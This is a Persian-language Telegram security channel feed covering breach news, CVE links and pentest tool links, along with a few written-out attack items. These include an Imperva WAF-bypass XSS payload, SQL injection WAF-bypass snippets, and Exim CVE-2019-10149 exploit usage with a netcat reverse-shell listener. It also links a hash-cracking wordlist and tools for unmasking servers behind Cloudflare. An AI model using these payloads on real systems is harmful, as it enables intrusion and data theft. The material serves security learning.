اطلاعات بیش از ۷ میلیون عضو سرویس ابری adobe بصورت محافظت نشده در دسترس عموم قرار داشت.
این دیتابیس مربوط به سرویس Adobe Creative Cloud بود که حاوی مشخصات کاربران سرویس های مختلف adobe از جمله آدرس ایمیل، کشور، وضعیت پرداخت و ... می باشد.

در حال حاضر این دیتابیس که از نوع elasticsearch است امن شده.


اطلاعات بیشتر در خصوص این مشکل و تایم لاین کشف و برطرف سازی آن:
https://www.comparitech.com/blog/information-security/7-million-adobe-creative-cloud-accounts-exposed-to-the-public/


#breach
#adobe
#news


@sec_nerd

"Once a vulnerable target has been identified, attackers can send specially crafted requests by appending '?a=' in the URL to a vulnerable web server."

https://www.zdnet.com/article/nasty-php7-remote-code-execution-bug-exploited-in-the-wild/

#php
#nginx
#rce


@sec_nerd

گروه امنیت اطلاعات

https://t.iss.one/joinchat/Cu-7qUvIA5ULBMsmH9yVzA



@sec_nerd

imperva WAF bypass

<bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click


#waf
#bugbounty
#imperva


@sec_nerd

رحلت پیامبر اکرم(ص) و شهادت امام حسن مجتبی (ع) را تسلیت عرض می نماییم.


@sec_nerd

وردلیست ۸ گیگابایتی مناسب برای کرک هش

https://gofile.io/?c=NHXEGm

حجم کمپرس شده 2.7 گیگ



#hash
#crack


@sec_nerd

انتشار اکسپلویت اجرای دستور از راه دور بر روی سرویس exim با شناسه CVE-2019-10149

نسخه های آسیب پذیر: از 4.87 تا 4.91

کارکرد:

روی سرور مهاجم netcat به این صورت:
nc -lvp 9000

و اجرای اسکریپت:

python ./exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000



https://github.com/Diefunction/CVE-2019-10149
#exim
#rce
#exploit

@sec_nerd

پیشرفت رباتیک و هوش مصنوعی در کارخانه بوستون داینامیکز
#ai

@sec_nerd

۵ روز پیش سرویس ابری آمازون هدف حملات گسترده DDOS از سوی عوامل ناشناخته قرار گرفت.
این حملات باعث از کار افتادن قسمتی از سرویس های آمازون به مدت ۸ ساعت شد. از جمله این سرویس ها میتوان به S3 و RDS و SQS و CloudFront و نیز EC2 و ELB اشاره کرد.
از جمله شرکتهایی که از این خدمات بهره میبرند DigitalOcean است که در طی این حمله دچار مشکل شد.
ناتوانی آمازون در جلوگیری از این حمله آن هم به مدت ۸ ساعت در حالی اتفاق افتاد که این شرکت در سرویس های خود Shield Advanced را دارد که با پلن های مختلف مدعی ایجاد امنیت در برابر حملات DDOS است.



منبع:
https://www.hackread.com/aws-ddos-attacks-lasted-8-hours/


#news
#amazon
#ddos


@sec_nerd

داکر مخصوص آسیب پذیری php-fpm و nginx برای آزمایش آسیب پذیری RCE با شناسه CVE-2019-11043


https://github.com/akamajoris/CVE-2019-11043-Docker

#php
#nginx
#rce
#docker


@sec_nerd

رایت آپ اجرای دستور (RCE) با استفاده از آسیب پذیری Directory Traversal


https://incogbyte.github.io/pathtraversal/



#writeup
#web
#pentest
#rce


@sec_nerd

🏴 فرارسیدن سالروز شهادت امام رضا (ع) تسلیت باد.


@sec_nerd

PoC CVE-2019-11043

https://github.com/theMiddleBlue/CVE-2019-11043


#php
#nginx
#rce


@sec_nerd

آنالیز فنی آسیب پذیری php-fpm و nginx توسط orange tsai

https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html

#php
#nginx
#rce


@sec_nerd

راهکارهای پیدا کردن آی پی واقعی وبسایتهایی که از Cloudflare استفاده میکنند + ۲ ابزار برای این کار


https://www.secjuice.com/finding-real-ips-of-origin-servers-behind-cloudflare-or-tor/



ابزارها:
https://github.com/m0rtem/CloudFail
https://github.com/greycatz/CloudUnflare



#web
#pentest
#Cloudflare


@sec_nerd

Some MySQL tricks to break some #WAFs out there.

SELECT-1e1FROM`test`
SELECT~1.FROM`test`
SELECT\NFROM`test`
SELECT@^1.FROM`test`
SELECT-id-1.FROM`test`

#SQLi #bypass #bugbountytip


@sec_nerd

گروه امنیت اطلاعات

https://t.iss.one/joinchat/Cu-7qUvIA5ULBMsmH9yVzA



@sec_nerd

رایت آپ کشف آسیب پذیری های متعدد از نوع XSS و CSRF و XXE و رسیدن به RCE در پلتفرم متن باز LabKey Server

https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/



#writeup
#web
#pentest
#csrf
#xxe
#xss
#rce

@sec_nerd

بزرگترین دیتابیس کارتهای اعتباری شهروندان هندی در دارک نت به فروش گذاشته شد.
این دیتابیس حاوی اطلاعات کارتهای کردیت و دبیت بیش از 1.3 میلیون شهروند است که نزدیک به ۹۸ درصد آنان هندی هستند.
ارزش هر کارت ۱۰۰ دلار است بنابراین ارزش این دیتابیس ۱۳۰ میلیون دلار می باشد.
رکوردها حاوی اطلاعات magnetic strip نیز هستند که تمامی جزییات کارت از جمله مالک، شماره، تاریخ انقضا و احتمالا CVV و آدرس در آن وجود دارد.
این دیتابیس توسط گروه JokerStash یا همان Fin7 در دارک نت قرار داده شده است.


https://www.hackread.com/indian-credit-debit-card-records-on-dark-web/

#news
#breach
#india
#fin7


@sec_nerd

ابزار blackwidow برای جمع آوری زیردامنه، ایمیل، شماره تلفن و عملیات فاز تمامی پارامترهای وبسایت برای آسیب پذیری های XXS , SQLI,RCE و path traversal

https://github.com/1N3/BlackWidow/


#web
#pentest
#sqli
#xss


@sec_nerd